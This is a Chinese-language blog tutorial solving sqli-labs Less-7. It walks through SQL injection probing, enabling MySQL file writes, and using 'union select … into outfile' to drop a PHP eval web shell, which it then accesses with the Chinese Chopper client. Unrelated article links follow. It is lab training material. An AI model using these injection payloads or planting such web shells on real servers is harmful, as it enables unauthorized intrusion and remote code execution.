1.先判断注入类型

  

  (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1

    

  (2)再输入:?id=1 and 1=1

    

  (3)输入:?id=1 and 1=2

    

    因为(2)(3)没有变化,所以不是数字型

  (4)输入:?id=1'

    

    有错误,说明是字符型的

  (5)加上--+,我们再输入:?id=1' --+

    

    发现还是错误,我们加一个括号试试

  (6)输入:?id=1') --+

    

    还是有错误,我们再加一个括号试试

  (7)输入:?id=1')) --+

    

    页面正常,所以参数是:id=(('1'))

2..对列数进行判断

  (1)输入?id=1')) order by 3 --+

    

  (2)输入?id=1')) order by 4 --+

    

    3正常,4错误,说明是3列

 3.因为正确时提示“outfile”,所以我们需要文加导出

  

这里插个小扩展:

winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就.../var/www/htm,.../var/www/html/htdocs

phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\

xammp 就是...\xampp\htdocs
@@basedir  数据库存储路径

@@datadir  数据库安装路径

  (1)找到数据库的存储路径,数据库的安装路径,输入:?id=1')) union select 1,@@basedir,@@datadir --+

    

    尝试发现没有,不难发现是被过滤了

  (2)在Less(2)中尝试,输入:?id=-1 union select 1,@@basedir,@@datadir --+

    

  (3)因为我们用的是phpstudy,所以存在一个文件读写权限问题,我们需要修改一下

      ①首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值

      

    ②因为是NULL,打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv=“/”。

      

    ③重启PHP study,然后发现已经发现发生了改变,说明修改成功,就可以进行读写了

      

  (4)一句话木马:一句木马有多个版本的,asp php的,这我们只用到php版本的一句话木马:

    <?php @eval($_POST[“crow”]);?> 其中crow是密码

    一句话木马大多配合中国菜刀使用,菜刀的使用可以参考:https://www.daixiaorui.com/read/17.html

    用到的两个函数:load_file()  读取本地文件  into outfile 写文件    可以百度函数用法,提示路径需要用双斜线

    ?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]); ?>' into outfile "C:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\ttt.php" --+

    

    虽然依然显示报错,但是我们发现路径下已经存在了我们想要的文件

    

  (5)注意一句话木马里面的引号里面的就是密码,我们用中国菜刀进行连接:

    

      

然后我们就连接成功了 可以进行文件管理

Less(7)的更多相关文章

  1. Angular2入门系列教程7-HTTP(一)-使用Angular2自带的http进行网络请求

    上一篇:Angular2入门系列教程6-路由(二)-使用多层级路由并在在路由中传递复杂参数 感觉这篇不是很好写,因为涉及到网络请求,如果采用真实的网络请求,这个例子大家拿到手估计还要自己写一个web ...

  2. Angular2学习笔记(1)

    Angular2学习笔记(1) 1. 写在前面 之前基于Electron写过一个Markdown编辑器.就其功能而言,主要功能已经实现,一些小的不影响使用的功能由于时间关系还没有完成:但就代码而言,之 ...

  3. ASP.NET Core 之 Identity 入门(一)

    前言 在 ASP.NET Core 中,仍然沿用了 ASP.NET里面的 Identity 组件库,负责对用户的身份进行认证,总体来说的话,没有MVC 5 里面那么复杂,因为在MVC 5里面引入了OW ...

  4. ABP入门系列(1)——学习Abp框架之实操演练

    作为.Net工地搬砖长工一名,一直致力于挖坑(Bug)填坑(Debug),但技术却不见长进.也曾热情于新技术的学习,憧憬过成为技术大拿.从前端到后端,从bootstrap到javascript,从py ...

  5. Online Judge(OJ)搭建(第一版)

    搭建 OJ 需要的知识(重要性排序): Java SE(Basic Knowledge, String, FileWriter, JavaCompiler, URLClassLoader, Secur ...

  6. 如何一步一步用DDD设计一个电商网站(九)—— 小心陷入值对象持久化的坑

    阅读目录 前言 场景1的思考 场景2的思考 避坑方式 实践 结语 一.前言 在上一篇中(如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成),有一行注释的代码: public interfa ...

  7. 如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成

    阅读目录 前言 建模 实现 结语 一.前言 前面几篇已经实现了一个基本的购买+售价计算的过程,这次再让售价丰满一些,增加一个会员价的概念.会员价在现在的主流电商中,是一个不大常见的模式,其带来的问题是 ...

  8. 【.net 深呼吸】细说CodeDom(5):类型成员

    前文中,老周已经厚着脸皮介绍了类型的声明,类型里面包含的自然就是类型成员了,故,顺着这个思路,今天咱们就了解一下如何向类型添加成员. 咱们都知道,常见的类型成员,比如字段.属性.方法.事件.表示代码成 ...

  9. 【.net 深呼吸】细说CodeDom(4):类型定义

    上一篇文章中说了命名空间,你猜猜接下来该说啥.是了,命名空间下面就是类型,知道了如何生成命名空间的定义代码,之后就该学会如何声明类型了. CLR的类型通常有这么几种:类.接口.结构.枚举.委托.是这么 ...

  10. 【.net 深呼吸】细说CodeDom(2):表达式、语句

    在上一篇文章中,老周厚着脸皮给大伙介绍了代码文档的基本结构,以及一些代码对象与CodeDom类型的对应关系. 在评论中老周看到有朋友提到了 Emit,那老周就顺便提一下.严格上说,Emit并不是针对代 ...

随机推荐

  1. SpringBoot通过ApplicationArguments获取args

    如果你需要获取通过SpringApplication.run(…​)传输过来的arguments,可以直接注入一个ApplicationArguments即可实现,如下面这个例子: @Service ...

  2. ZOJ - 3961 Let's Chat(区间相交)

    题意:给定一个长度为n的序列,A和B两人分别给定一些按递增顺序排列的区间,区间个数分别为x和y,问被A和B同时给定的区间中长度为m的子区间个数. 分析: 1.1 ≤ n ≤ 109,而1 ≤x, y  ...

  3. POJ - 2253 Frogger(最短路Dijkstra or flod)

    题意:要从起点的石头跳到终点的石头,设The frog distance为从起点到终点的某一路径中两点间距离的最大值,问在从起点到终点的所有路径中The frog distance的最小值为多少. 分 ...

  4. POJ 1276:Cash Machine 多重背包

    Cash Machine Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 30006   Accepted: 10811 De ...

  5. <mvc:default-servlet-handler />说明

    优雅REST风格的资源URL不希望带 .html 或 .do 等后缀.由于早期的Spring MVC不能很好地处理静态资源,所以在web.xml中配置DispatcherServlet的请求映射,往往 ...

  6. 字符,字符串,int之间互相转换

    字符转换成字符串:String str = String.valueOf(ch); 字符转换成int: int a = ch; 字符串转换成字符:char ch = str.charAt(0); 字符 ...

  7. [题解] Luogu P5641 【CSGRound2】开拓者的卓识

    这个柿子挺别致的......还有信仰膜数998244353 直接讲正解吧...... 首先发现这个柿子从上往下算好像不怎么行,我们从下往上看,(下面令\(Ans_r = sum_{k,1,r}\)). ...

  8. 201771010123汪慧和《面向对象程序设计Java》第十六周实验总结

    一.理论部分 1.程序与进程的概念 ‐程序是一段静态的代码,它是应用程序执行的蓝本. ‐进程是程序的一次动态执行,它对应了从代码加载.执行至执行完毕的一个完整过程. ‐操作系统为每个进程分配一段独立的 ...

  9. Python logging模块 控制台、文件输出

    步骤 导入logging模块 设置level(此处是DEBUG) 添加文件handler和流handler import logging logger=logging.getLogger(__name ...

  10. POJ 1469:COURSES

    COURSES Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 19458   Accepted: 7658 Descript ...